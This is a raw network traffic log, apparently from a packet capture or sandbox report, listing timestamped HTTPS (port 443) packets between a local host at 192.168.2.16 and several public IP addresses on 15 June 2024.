Jun 15, 2024 11:14:53.583739996 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.583811045 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.584120035 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.584151030 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.612091064 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612126112 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:53.612188101 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612402916 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612519026 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:53.612571955 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612592936 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:53.612627983 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612824917 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:53.612864971 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:53.613432884 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.613626003 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.613826990 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.613884926 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.613894939 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.613953114 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.614392996 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.614487886 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.614774942 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.614877939 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.615086079 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.615233898 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.615255117 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.615314960 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.617094994 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.617307901 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.617326975 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.618634939 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.618837118 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.618855953 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.618860006 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.618941069 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.619271994 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.619373083 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.619385004 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.619404078 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.620378971 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.620445967 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.620767117 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.620862961 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.620863914 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.622360945 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.622539043 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.622585058 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.622603893 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.622715950 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.622734070 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.623742104 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.623826981 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624027967 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.624099016 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624207973 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624275923 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.624619961 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624705076 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.624790907 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624809027 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.624850988 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.624867916 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.660499096 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.660511017 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.668498993 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.672152042 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.672156096 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.672156096 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.672216892 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.672230959 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.676990032 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.720042944 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.720134974 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.777031898 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.777056932 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.777066946 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.777211905 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.777235985 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.777308941 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.778143883 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.778175116 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.778201103 CEST	49718	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.778243065 CEST	443	49718	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.778248072 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.778261900 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.778333902 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.778588057 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.778650999 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.778728962 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.779232025 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.779267073 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.780745983 CEST	49719	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.780775070 CEST	443	49719	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.782790899 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.782813072 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.782898903 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.783301115 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.783334970 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.783384085 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.783531904 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.783561945 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.783793926 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.783812046 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.783895016 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.784084082 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.784096956 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784210920 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784246922 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784254074 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784302950 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784308910 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.784338951 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.784356117 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.784368038 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.784569025 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:14:53.785114050 CEST	49721	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.785130024 CEST	443	49721	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.802522898 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:53.802745104 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.802814007 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:53.804306030 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:53.804388046 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.805296898 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.805387020 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:53.805425882 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.848149061 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.848213911 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:53.877405882 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:53.877912998 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:53.877945900 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:53.879652023 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:53.879745960 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:53.880868912 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:53.880956888 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:53.881083012 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:53.881091118 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:53.889910936 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.889935970 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.889951944 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890032053 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890091896 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890136957 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890155077 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.890229940 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890280962 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.890281916 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.890305042 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.890357018 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.890429020 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891133070 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891179085 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891223907 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891247034 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891273022 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891344070 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891377926 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891391039 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891417027 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891433954 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891433954 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891446114 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891468048 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891470909 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.891501904 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891524076 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.891982079 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.892041922 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.892050982 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.892071962 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.892088890 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.892111063 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.892138958 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.893244028 CEST	49716	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.893277884 CEST	443	49716	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.895941019 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:53.896342039 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.896390915 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.896460056 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.896708965 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.896719933 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.896765947 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.897080898 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.897098064 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.897280931 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.897293091 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.899957895 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.900012970 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.900055885 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.900089979 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:53.900119066 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.900141954 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:53.928292036 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:53.936276913 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:53.936309099 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:53.936367989 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:53.936548948 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:53.936559916 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:53.943932056 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.004878998 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.004940033 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005251884 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005251884 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005325079 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005367994 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005408049 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005435944 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005465031 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005496025 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005510092 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005595922 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.005651951 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005733013 CEST	49717	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.005763054 CEST	443	49717	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008163929 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008224010 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008255959 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008326054 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008337975 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008385897 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008387089 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008415937 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008459091 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008518934 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008541107 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008591890 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008615971 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008652925 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.008877993 CEST	49720	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.008908987 CEST	443	49720	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.011552095 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.011590004 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.011645079 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.012094975 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.012110949 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.012166023 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.012975931 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.013000011 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.013207912 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.013222933 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.053574085 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.054229975 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.054301023 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.054826975 CEST	49724	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.054867983 CEST	443	49724	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.058610916 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.058826923 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.058844090 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.060539961 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.060615063 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.063498974 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.063596010 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.064176083 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.064188957 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.065191031 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.065232992 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.065299034 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.066005945 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.066029072 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.072268963 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.072298050 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.072350979 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.072603941 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.072633028 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.072683096 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.072829008 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.072841883 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.072988987 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.073009014 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.084917068 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:14:54.117017031 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.233427048 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.233494997 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.233584881 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.233654022 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.233727932 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.234991074 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.235084057 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.237257004 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.237332106 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.249757051 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.250047922 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.250117064 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.253809929 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.253921986 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.254281044 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.254385948 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.254426003 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.256068945 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:54.256113052 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:54.256191015 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:54.256412983 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:54.256432056 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:54.300494909 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.307043076 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.307106972 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.313075066 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.313244104 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.313316107 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.313334942 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.313386917 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.313396931 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.313419104 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.313467979 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.348004103 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348124027 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348196030 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.348196030 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.348232985 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348262072 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348290920 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.348300934 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348351955 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.348669052 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.348758936 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.349836111 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.349932909 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.350163937 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.350220919 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.352448940 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.352521896 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.353960991 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.404154062 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.404268026 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.404272079 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.404299974 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.404333115 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.436275959 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.436314106 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.436384916 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.436398029 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.436458111 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.439372063 CEST	443	49730	185.178.208.137	192.168.2.16
